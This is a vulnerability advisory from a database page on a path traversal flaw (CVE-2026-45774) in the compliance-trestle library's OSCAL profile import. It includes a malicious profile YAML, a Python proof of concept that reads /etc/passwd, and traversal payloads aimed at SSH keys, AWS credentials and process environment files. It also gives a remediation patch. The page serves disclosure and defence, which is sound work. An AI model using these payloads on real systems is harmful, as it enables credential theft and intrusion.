Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-45774
Published:May 31, 2026
Updated:June 13, 2026
Summary The compliance-trestle library's profile import mechanism resolves "trestle://" URIs and relative file paths by joining them with "trestle_root" and calling ".resolve()", but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with "imports[].href" containing path traversal sequences to read arbitrary files from the server filesystem. Three attack vectors confirmed: 1. PT-001: "trestle://../../etc/passwd" — via trestle:// URI scheme 2. PT-002: "../../etc/passwd" — via relative path in href 3. PT-003: back_matter rlinks with traversal paths Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML. Affected Component Repository: https://github.com/IBM/compliance-trestle File: "trestle/core/remote/cache.py" (lines 175-179) File: "trestle/core/resolver/_import.py" (line 104) Version: v4.0.2 (latest as of 2026-04-30) Vulnerable Code cache.py:175-179 — LocalFetcher (trestle:// URI handling) class LocalFetcher(FetcherBase): def init(self, trestle_root: pathlib.Path, uri: str) -> None: super().init(trestle_root, uri) # ... elif uri.startswith(const.TRESTLE_HREF_HEADING): uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :]) self._abs_path = pathlib.Path(uri).resolve() # ❌ NO boundary check — .resolve() follows ../ # ❌ NO is_relative_to() validation # ❌ Result can be /etc/passwd self._cached_object_path = self._abs_path return cache.py:194 — LocalFetcher (relative path handling) # For relative paths (no trestle:// or file:// prefix): try: self._abs_path = pathlib.Path(uri).resolve() # ❌ Same issue — resolves relative to CWD with no boundary check except Exception: raise TrestleError(...) _import.py:73-104 — Profile import href resolution class Import(Pipeline.Filter): def init(self, ...): # Line 73-83: back_matter rlinks used directly if self._import.href[0] == '#': resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0] self._import.href = [ rlink.href # ❌ rlink.href from OSCAL data — user-controlled for rlink in resource.rlinks if rlink.href.endswith('.json') or rlink.href.endswith('.yaml') ][0] # Line 104: href passed directly to FetcherFactory fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href) Root Cause: 4. "Path(trestle_root / "../../etc/passwd").resolve()" = "/etc/passwd" 5. No "is_relative_to(trestle_root)" check after resolve 6. "TRESTLE_HREF_REGEX" defined at "const.py:253" but NEVER enforced (dead code) 7. Even if enforced, the regex "'^trestle://[^/]'" would PASS traversal payloads ("." is "[^/]") Steps to Reproduce Prerequisites pip install compliance-trestle==4.0.2 PoC: Malicious OSCAL Profile malicious_profile.yaml profile: uuid: "550e8400-e29b-41d4-a716-446655440000" metadata: title: "Malicious Profile" version: "1.0" last-modified: "2024-01-01T00:00:00+00:00" oscal-version: "1.0.4" imports: - href: "trestle://../../../../../../etc/passwd" PoC: Direct LocalFetcher Exploit #!/usr/bin/env python3 """PoC: trestle:// path traversal via real LocalFetcher""" from pathlib import Path from trestle.core.remote.cache import LocalFetcher import tempfile trestle_root = Path(tempfile.mkdtemp()) Normal usage — stays within workspace normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json") print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json Exploit — escapes workspace evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd") print(f"Evil: {evil._abs_path}") # /etc/passwd print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}") Output: root:x:0:0:root:/root:/bin/bash Expected: Path traversal blocked with error Actual: "/etc/passwd", "/etc/shadow", "/proc/self/environ" read successfully Remediation class LocalFetcher(FetcherBase): def init(self, trestle_root: pathlib.Path, uri: str) -> None: super().init(trestle_root, uri) # ... elif uri.startswith(const.TRESTLE_HREF_HEADING): uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :]) self._abs_path = pathlib.Path(uri).resolve() # ✅ ADD: Boundary check if not self._abs_path.is_relative_to(self._trestle_root): raise TrestleError( f"Path traversal blocked: resolved path '{self._abs_path}' " f"is outside trestle root '{self._trestle_root}'" ) self._cached_object_path = self._abs_path return Same fix needed for relative path handling at line 194. Additionally, enforce "TRESTLE_HREF_REGEX" (already defined at "const.py:253" but never used). Resources - CWE-22: https://cwe.mitre.org/data/definitions/22.html - OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/ - compliance-trestle: https://github.com/IBM/compliance-trestle Impact 1. Credential Theft via OSCAL Import: imports: - href: "trestle://../../root/.aws/credentials" - href: "trestle://../../root/.ssh/id_rsa" 2. System Reconnaissance: imports: - href: "trestle://../../etc/passwd" - href: "trestle://../../proc/self/environ" 3. Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution. 4. Dead Code Evidence: "TRESTLE_HREF_REGEX" defined at "const.py:253" but never enforced anywhere — proves path validation was INTENDED but never implemented.
Affected Packages
compliance-trestle (PYTHON):
Affected version(s) >=0.0.2 <3.12.2
Fix Suggestion:
Update to version 3.12.2
compliance-trestle (PYTHON):
Affected version(s) >=4.0.0 <4.0.3
Fix Suggestion:
Update to version 4.0.3
Do you need more information?
Contact Us
CVSS v4
Base Score:
5.5
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
ACTIVE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
NONE
Vulnerable System Availability
NONE
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
Exploit Maturity
POC
CVSS v3
Base Score:
6.5
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality
HIGH
Integrity
NONE
Availability
NONE
Weakness Type (CWE)
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
EPSS
Base Score:
0.06